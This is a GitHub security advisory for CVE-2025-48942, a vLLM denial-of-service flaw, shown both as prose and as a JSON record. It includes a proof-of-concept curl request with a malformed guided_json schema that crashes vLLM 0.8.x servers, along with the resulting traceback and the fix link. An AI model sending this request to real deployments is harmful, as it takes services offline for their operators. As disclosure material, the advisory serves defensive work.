GHSA-6QC9-V4R8-22XG

Vulnerability from github – Published: 2025-05-28 19:41 – Updated: 2025-06-27 21:06
VLAI?
Summary
vLLM DOS: Remotely kill vllm over http with invalid JSON schema
Details

Summary

Hitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server

Details

The following API call (venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}' will provoke a Uncaught exceptions from xgrammer in ./lib64/python3.11/site-packages/xgrammar/compiler.py

Issue with more information: https://github.com/vllm-project/vllm/issues/17248

PoC

Make a call to vllm with invalid json_scema e.g. {\"properties\":{\"reason\":{\"type\": \"stsring\"}}}

curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'

Impact

vllm crashes

example traceback

ERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last):
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 333, in run_engine_core
ERROR 03-26 17:25:01 [core.py:340]     engine_core.run_busy_loop()
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 367, in run_busy_loop
ERROR 03-26 17:25:01 [core.py:340]     outputs = step_fn()
ERROR 03-26 17:25:01 [core.py:340]               ^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 181, in step
ERROR 03-26 17:25:01 [core.py:340]     scheduler_output = self.scheduler.schedule()
ERROR 03-26 17:25:01 [core.py:340]                        ^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py", line 257, in schedule
ERROR 03-26 17:25:01 [core.py:340]     if structured_output_req and structured_output_req.grammar:
ERROR 03-26 17:25:01 [core.py:340]                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 41, in grammar
ERROR 03-26 17:25:01 [core.py:340]     completed = self._check_grammar_completion()
ERROR 03-26 17:25:01 [core.py:340]                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 29, in _check_grammar_completion
ERROR 03-26 17:25:01 [core.py:340]     self._grammar = self._grammar.result(timeout=0.0001)
ERROR 03-26 17:25:01 [core.py:340]                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 456, in result
ERROR 03-26 17:25:01 [core.py:340]     return self.__get_result()
ERROR 03-26 17:25:01 [core.py:340]            ^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 401, in __get_result
ERROR 03-26 17:25:01 [core.py:340]     raise self._exception
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/thread.py", line 58, in run
ERROR 03-26 17:25:01 [core.py:340]     result = self.fn(*self.args, **self.kwargs)
ERROR 03-26 17:25:01 [core.py:340]              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py", line 120, in _async_create_grammar
ERROR 03-26 17:25:01 [core.py:340]     ctx = self.compiler.compile_json_schema(grammar_spec,
ERROR 03-26 17:25:01 [core.py:340]           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py", line 101, in compile_json_schema
ERROR 03-26 17:25:01 [core.py:340]     self._handle.compile_json_schema(
ERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is<picojson::object>()) is false: Schema should be an object or bool
ERROR 03-26 17:25:01 [core.py:340] 
ERROR 03-26 17:25:01 [core.py:340] 
CRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.

Fix

  • https://github.com/vllm-project/vllm/pull/17623
Severity ?
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-48942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-28T19:41:53Z",
    "nvd_published_at": "2025-05-30T19:15:30Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nHitting the  /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server\n\n\n### Details\nThe following API call \n`(venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H \"Content-Type: application/json\" -d \u0027{\"model\": \"meta-llama/Llama-3.2-3B-Instruct\",\"prompt\": \"Name two great reasons to visit Sligo \", \"max_tokens\": 10, \"temperature\": 0.5, \"guided_json\":\"{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}\"}\u0027   \n`\nwill provoke a Uncaught exceptions from xgrammer in \n`./lib64/python3.11/site-packages/xgrammar/compiler.py\n`\n\nIssue with more information: https://github.com/vllm-project/vllm/issues/17248\n\n### PoC\nMake a call to vllm with invalid json_scema e.g. `{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}`\n\n`curl -s http://localhost:8000/v1/completions -H \"Content-Type: application/json\" -d \u0027{\"model\": \"meta-llama/Llama-3.2-3B-Instruct\",\"prompt\": \"Name two great reasons to visit Sligo \", \"max_tokens\": 10, \"temperature\": 0.5, \"guided_json\":\"{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}\"}\u0027\n`\n### Impact\nvllm crashes\n\n\nexample traceback\n```\nERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last):\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 333, in run_engine_core\nERROR 03-26 17:25:01 [core.py:340]     engine_core.run_busy_loop()\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 367, in run_busy_loop\nERROR 03-26 17:25:01 [core.py:340]     outputs = step_fn()\nERROR 03-26 17:25:01 [core.py:340]               ^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 181, in step\nERROR 03-26 17:25:01 [core.py:340]     scheduler_output = self.scheduler.schedule()\nERROR 03-26 17:25:01 [core.py:340]                        ^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py\", line 257, in schedule\nERROR 03-26 17:25:01 [core.py:340]     if structured_output_req and structured_output_req.grammar:\nERROR 03-26 17:25:01 [core.py:340]                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py\", line 41, in grammar\nERROR 03-26 17:25:01 [core.py:340]     completed = self._check_grammar_completion()\nERROR 03-26 17:25:01 [core.py:340]                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py\", line 29, in _check_grammar_completion\nERROR 03-26 17:25:01 [core.py:340]     self._grammar = self._grammar.result(timeout=0.0001)\nERROR 03-26 17:25:01 [core.py:340]                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/usr/lib64/python3.11/concurrent/futures/_base.py\", line 456, in result\nERROR 03-26 17:25:01 [core.py:340]     return self.__get_result()\nERROR 03-26 17:25:01 [core.py:340]            ^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/usr/lib64/python3.11/concurrent/futures/_base.py\", line 401, in __get_result\nERROR 03-26 17:25:01 [core.py:340]     raise self._exception\nERROR 03-26 17:25:01 [core.py:340]   File \"/usr/lib64/python3.11/concurrent/futures/thread.py\", line 58, in run\nERROR 03-26 17:25:01 [core.py:340]     result = self.fn(*self.args, **self.kwargs)\nERROR 03-26 17:25:01 [core.py:340]              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py\", line 120, in _async_create_grammar\nERROR 03-26 17:25:01 [core.py:340]     ctx = self.compiler.compile_json_schema(grammar_spec,\nERROR 03-26 17:25:01 [core.py:340]           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py\", line 101, in compile_json_schema\nERROR 03-26 17:25:01 [core.py:340]     self._handle.compile_json_schema(\nERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is\u003cpicojson::object\u003e()) is false: Schema should be an object or bool\nERROR 03-26 17:25:01 [core.py:340] \nERROR 03-26 17:25:01 [core.py:340] \nCRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.\n```\n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/17623",
  "id": "GHSA-6qc9-v4r8-22xg",
  "modified": "2025-06-27T21:06:56Z",
  "published": "2025-05-28T19:41:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-6qc9-v4r8-22xg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48942"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/issues/17248"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/pull/17623"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/commit/08bf7840780980c7568c573c70a6a8db94fd45ff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-54.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vLLM DOS: Remotely kill vllm over http with invalid JSON schema"
}


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